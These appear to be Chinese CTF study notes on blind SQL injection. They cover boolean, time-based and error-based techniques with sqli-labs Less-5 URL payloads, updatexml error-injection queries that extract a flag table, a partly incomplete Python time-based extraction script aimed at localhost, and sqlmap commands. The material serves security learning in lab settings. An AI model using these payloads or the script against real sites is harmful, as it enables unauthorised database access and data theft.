盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类
基于布尔 SQL 盲注
基于时间的 SQL 盲注
基于报错的 SQL 盲注
left() :left(a,b)从左侧截取 a 的前 b 位
accii():Ascii()将某个字符转换 为 ascii
substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。
ord():Ord()函数同 ascii(),将字符转为 ascii 值
mid():mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位
正则注入:http://www.cnblogs.com/lcamry/articles/5717442.html
like 匹配注:
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判断语句,条件为假, 执行 sleep,通过响应的时间判断
报错注入有很多种方法,简单介绍一种,其他另行参考文章:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
报错注入实例:
1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1)
得到数据库为sqli
其他均相同:
数据库版本:
10.3.22-MariaDB-0+deb10u1
用户:
root@localhost
操作系统:
debian-linux-gnu
2,查询数据库的表
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1)
得到news,flag
查询列
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1)
得到flag
select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)
由于回现字符数量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);
一、updatexml函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称。
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值。
由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
可以看出不显示结果,构造:
数据库的版本:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+
数据库长度:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+
猜测数据库第一位:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+
可以使用二分法来提高效率;
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
获取第一个字符 e 对应的为 101
第二个 substr(**,2,1) 即可
此处 table_schema 可以写成 =’security’,但是我们这里使用的 database(),是因
为此处 database()就是 security。此处同样的使用二分法进行测试,直到测试正确为止。
此处应该是 101,因为第一个表示 email。
这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始,获取第一个。那 要获取第二个是不是就是 limit 1,1。
然后一直测试。当然不能靠手猜了,可以python解决和sqlmap注入工具。
import requests
import time
#以第五关为例
def get_database():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
database = ''
length=0
for l in range(1,20):
Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'
UrlFormat = Url.format(l) #format()函数使用
start_time0 = time.time() #发送请求前的时间赋值
requests.get(UrlFormat,headers=headers)
if time.time() - start_time0 > 2: #判断正确的数据库长度
print('database length is ' + str(l))
length = l
break
else:
pass
for i in range(1,length+1):
for char in chars:
charAscii = ord(char) #char转换为ascii
url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)
def get_dbtables():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='
for j in range(0,4):
database = ''
length = 0
for l in range(1, 20):
Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'
UrlFormat = Url.format(j,l) # format()函数使用
start_time0 = time.time() # 发送请求前的时间赋值
requests.get(UrlFormat, headers=headers)
if time.time() - start_time0 > 2: # 判断正确的数据库长度
print('table length is ' + str(l))
length = l
break
else:
pass
for i in range(1, length + 1):
for char in chars:
charAscii = ord(char) # char转换为ascii
url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'
urlformat = url.format(j,i, charAscii)
start_time = time.time()
requests.get(urlformat, headers=headers)
if time.time() - start_time > 2:
database += char
print('第'+str(j)+'个表:')
print('database: ', database)
break
else:
pass
print('第'+str(j)+'个表:'''+'database is ' + database)
if __name__ == '__main__':
get_database() #获取数据库名
get_dbtables() #获取表名
get_column() #获取列名
get_column_content() #获取列的内容
数据库名获取正确:
列名:select column_name from information_schema.columns where table_name='users' limit 0,1
跟爆表明一样
表内容:
select 列名 from 数据库.表名
只需要稍微改动上面的代码即可
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
#查询目标主机information_schema的表信息
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --tables
#默认是当前数据库
python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMLM8xvc-1652880143247)(D:\我的\CTF学习\web安全笔记\SQL盲注.assets\image-20220518211533824.png)]
只是简单的工具的使用,具体可以参考这篇文章:
https://blog.csdn.net/weixin_46962006/article/details/121307150
扫描的前期工作就不赘述了,直接开始正题:
我们输入,1,2,发现回显正常,3,-1啥的都回显这个:
测试是否存在SQL注入:
1' and 1=1 #
这必然有漏洞,尝试了很多发现if(1=1,1,2)和0^1可以使用:
if(1=1,1,2)返回的是1 判断
0^1返回的也是1 异或